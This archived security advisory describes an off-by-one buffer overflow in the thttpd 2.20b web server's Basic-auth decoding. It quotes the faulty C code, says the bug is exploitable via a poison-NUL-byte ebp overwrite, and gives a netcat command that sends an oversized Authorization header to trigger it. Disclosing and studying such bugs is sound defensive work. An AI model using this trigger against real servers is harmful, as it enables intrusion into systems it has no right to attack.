Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Servers :: web4868.htm

thttpd remote buffer overflow



21th Nov 2001 [SBWID-4868]
COMMAND

	thttpd remote buffer overflow

SYSTEMS AFFECTED

	thttpd 2.20b (at least)

PROBLEM

	Gobbles security disclosed the following problem in thttpd :
	

	  

	bash-2.05$ pwd 

	/home/GOBBLES/hacking/projects/current/thttpd-2.20b 

	bash-2.05$ ls *.c 

	fdwatch.c       match.c         strerror.c      tdate_parse.c   timers.c 

	libhttpd.c      mmc.c           syslog.c        thttpd.c 

	 

	Bug is in libhttpd.c/auth_check(): 

	 

	static int 

	auth_check( httpd_conn* hc, char* dirname  ) 

	    { 

	    static char* authpath; 

	    static int maxauthpath = 0; 

	    struct stat sb; 

	    char authinfo[500]; 

	    char* authpass; 

	[...] 

	    l = b64_decode( &(hc->authorization[6]), authinfo, sizeof(authinfo) ); 

	    authinfo[l] = \'\\0\'; 

	 

	 

	Notice authinfo buffer and its total size (500) go  b64_decode  function
	so username and password in HTTP header \'Authorization\' field may  get
	decode from base64 for processing (processed by the process hehehe  >8^)
	). Then notice auth_check() terminate authinfo with a NUL.  Notice  only
	automatic variable above authinfo  in  source  code  is  stat  structure
	\'sb\' since \'static\' qualifier make compiler put variable in data  or
	bss segment depending on initialization.  Variable  \'l\'  get  assigned
	result of b64_decode() function. How big  it  can  be???  GOBBLES  paste
	full b64_decode function...
	 

	static int 

	b64_decode( const char* str, unsigned char* space, int size ) 

	    { 

	    const char* cp; 

	    int space_idx, phase; 

	    int d, prev_d = 0; 

	    unsigned char c; 

	 

	    space_idx = 0; 

	    phase = 0; 

	    for ( cp = str; *cp != \'\\0\'; ++cp ) 

	        { 

	        d = b64_decode_table[(int) *cp]; 

	        if ( d != -1 ) 

	            { 

	            switch ( phase ) 

	                { 

	                case 0: 

	                ++phase; 

	                break; 

	                case 1: 

	                c = ( ( prev_d << 2 ) | ( ( d & 0x30 ) >> 4 ) ); 

	                if ( space_idx < size ) 

	                    space[space_idx++] = c; 

	                ++phase; 

	                break; 

	                case 2: 

	                c = ( ( ( prev_d & 0xf ) << 4 ) | ( ( d & 0x3c ) >> 2 ) ); 

	                if ( space_idx < size ) 

	                    space[space_idx++] = c; 

	                ++phase; 

	                break; 

	                case 3: 

	                c = ( ( ( prev_d & 0x03 ) << 6 ) | d ); 

	                if ( space_idx < size ) 

	                    space[space_idx++] = c; 

	                phase = 0; 

	                break; 

	                } 

	            prev_d = d; 

	            } 

	        } 

	    return space_idx; 

	    } 

	 

	Notice formal argument \'size\' come from sizeof(authinfo) == 500.  Then
	data stored in \'space\' buffer which  really  \'authinfo\'  from  other
	function. The variable \'space_idx\' set to  0  and  incremented  as  it
	used to index \'space\' array. Size check \"space_idx <  size\"  mean
	space_idx can only  reach  499.  But  then  \"space[space_idx++]  =  c\"
	post-increment from 499 to 500. At end of  function  there  is  \"return
	space_idx\". Moving back...
	  

	    l = b64_decode( &(hc->authorization[6]), authinfo, sizeof(authinfo) ); 

	    authinfo[l] = \'\\0\'; 

	 

	It made \'l\' == 500 so \"authinfo[500] = \'\\0\'\" be made  and  buffer
	is made  overflow  by  one  byte!  THIS  IS  VERY  BAD  PROGRAMMING  AND
	PROGRAMMER MUST LEARN NOT TO  DO  THIS  SILLY  KIND  BUGS.  WHEN  PEOPLE
	LEARN?????
	 

	Exploitable? Yes. If compiler arrange \'authinfo\' first on stack,  then
	on x86 machine it possible to overwrite saved  register  ebp  value  and
	fuck over process like described by Olaf  Kirch  in  1998  team  bugtraq
	post which describe \"Poison NUL  Byte\"  method  of  punching  hole  in
	software to get in computer.
	 

	DEMONSTRATION *************
	  

	1) Apply following diff: 

	 

	--- libhttpd.c  Tue Nov 20 14:50:00 2001 

	+++ libhttpd-new.c      Tue Nov 20 14:22:12 2001 

	@@ -886,6 +886,7 @@ 

	     /* Decode it. */ 

	     l = b64_decode( &(hc->authorization[6]), authinfo, sizeof(authinfo) ); 

	     authinfo[l] = \'\\0\'; 

	+    printf(\"%02x\\n\", authinfo[499]);  

	     /* Split into user and password. */ 

	     authpass = strchr( authinfo, \':\' ); 

	     if ( authpass == (char*) 0 ) 

	 

	This allow us see what final element in array end up like.
	  

	2) Build and then: 

	 

	[terminal 1] 

	 

	mkdir test 

	echo \"joe:blow\" > test/.htpasswd 

	./thttpd -D -p 7777 

	 

	[terminal 2]  

	 

	(printf \"GET /test/ HTTP/1.0\\r\\nAuthorization: Basic \" ; printf `perl -e 

	\'print \"A\"x550\'` | openssl enc -base64 -e -in /dev/stdin ; printf \\ 

	\"\\r\\n\\r\\n\") | nc 0 7777 

	 

	[terminal 1] 

	 

	We see \'41\'. This mean off-by-one overflow is really present!
	

	

	

SOLUTION

	FreeBSD patch :
	 

	ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/devel/portcheckout-2.0.tgz 

	ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/devel/portcheckout-2.0.tgz 

	

	


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH